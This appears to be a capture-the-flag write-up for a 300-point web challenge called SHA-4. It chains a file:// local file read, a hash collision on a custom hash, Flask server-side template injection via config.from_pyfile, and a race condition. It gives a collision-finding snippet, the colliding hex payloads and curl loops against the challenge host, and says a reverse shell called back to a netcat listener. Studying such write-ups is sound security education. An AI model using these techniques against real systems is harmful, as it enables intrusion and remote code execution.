Web - 300 Points

I heard SHA-1 is broken, so I think it’s probably time we move to SHA-4.

Writeup

This challenge provided two forms, one which allowed to post comments and a textarea which parses an hex encoded, ans1 enveloped input.

Solution tl;dr

local file read, hash collision, template injection, race condition

Directory Traversal

It is trivial to find a directory traversal by using the file:// uri scheme instead of the intended http:// or https:// ones. Once we obtain file-reading access, we can find the directory of the python webapp /var/www/sha4 by getting the system version from file:///etc/issue and the cmdline from file:///proc/self/cmdline.

We can guess the existence of these 2 files: server.py sha4.py

By checking the code we can see a possible template injection here:

return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))

However we can’t directly send an input containing characters such as {} or / because the function is_unsafe() checks if the comments contain non-whitelisted chars in string.ascii_letters + string.digits + " ,.:()?!-_'+=[]\t\n<>" before rendering it.

The code however seems a little strange for what it is intended to do. Let’s check the whole comments() function:

try:
  encoded = request.form['comment']
  encoded.replace("\n","\r")
  ber = encoded.decode("hex")
except TypeError:
  return render_template_string(bad)
f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")
  
out_text = str(decode(ber))
open(f, "w").write(out_text)

if is_unsafe(out_text):
  return render_template_string(unsafe)

commentt = comment % open(f).read()
return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))

So the code does the following:

  • hex decode the comment POST parameter
  • calculate the ‘sha4’ hash of the input
  • set the path /var/tmp/comments/<hash>.file as output
  • ASN.1 ber decode the input
  • write the decoded input to the file
  • check if it contains unsafe characters
  • if the previous check is false render the template

Template Injection

Since the webapp uses Flask, we can grab the code needed from Exploring SSTI in flask which hashes the following requirements to achieve Command Execution:

  • upload a python reverse shell payload
  • inject {{ config.from_pyfile('/var/tmp/comments/<hash>.file') }} in the render_template() function

The first part is simple, we just need to upload the file using the upload form and calculate its path with the sha4 function.
The second part is the hard one.
If we take a closer look at the comments() function we can notice there’s something a little unusual: why would the programmer write the input to disk, check if it’s safe and read it back? It is already in the out_text variable!

This seems coded to purposely create a race condition situation and make the challenge solvable. So basically, to exploit the template injection we need to:

  • find a sha4 hash collision between two ASN.1 encoded strings: one containing {{ config.from_pyfile('/var/tmp/comments/<hash>.file') }} and a safe one (which means without {} and /)
  • send both requests as fast as we can to have enough luck to exploit the race condition by overwriting the file /var/tmp/comments/<collided hash>.txt with the malicious payload while the script has passed the is_unsafe() check on the safe payload

Collision!

We find out that finding a collision is pretty easy. For every char there is a colliding one for each position in the DES key (see sha4.py file).

We then calculate each colliding char for each forbidden char ({}/) with this small snippet

def char_position_collision(char):
    for j in xrange(7):
        m1 = "a"*j + char
        for i in xrange(0,256):
            m2 = "a"*j+chr(i)
            if m1 != m2 and hash(m1) == hash(m2):
                print(m1,m2)
                break
char_position_collision("{")
char_position_collision("}")
char_position_collision("/")

We can use this script that:

  1. takes our “bad” payload, and replace each “bad” character with its relative collision
  2. sets dummy padding at the start and at the end of the payload, since the hash function was appending a padding block that needs to collide as well
  3. encodes both “good” and “bad” payloads as ASN.1
  4. hashes them!

Here are the 2 payloads, ASN.1 encoded

0459617b7b636f6e6669672e66726f6d5f707966696c652820222e2e2f2e2e2f746d702f636f6d6d656e74732f64643331623464633435346336656337653031343736653032663865656163342e66696c652229207d7d61616161
0459616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161

Finally, the Flag

Once we have the colliding payloads we just have to send both requests as fast as we can, possibly using multiple threads; so from a server with a fast connection we can simply open multiple tmux sessions, running one of the following command in each

while true; do curl --data 'comment=0459616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161' http://sha4.chal.pwning.xxx/comments; done;
while true; do curl --data 'comment=0459617b7b636f6e6669672e66726f6d5f707966696c652820222e2e2f2e2e2f746d702f636f6d6d656e74732f64643331623464633435346336656337653031343736653032663865656163342e66696c652229207d7d61616161' http://sha4.chal.pwning.xxx/comments; done;

After a while the reverse shell should call back to our netcat listener:

$ whoami
www-data
$ uname -a
Linux chal-sha4 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ pwd
/var/www
$ ls
html
sha4
$ ls sha4
flag_bilaabluagbiluariglublaireugrpoop
server.py
server.pyc
sha4.py
sha4.pyc
sha4.wsgi
static
templates
$ cat sha4/flag_bilaabluagbiluariglublaireugrpoop
PCTF{th3 security aspect of cyber is very very tough}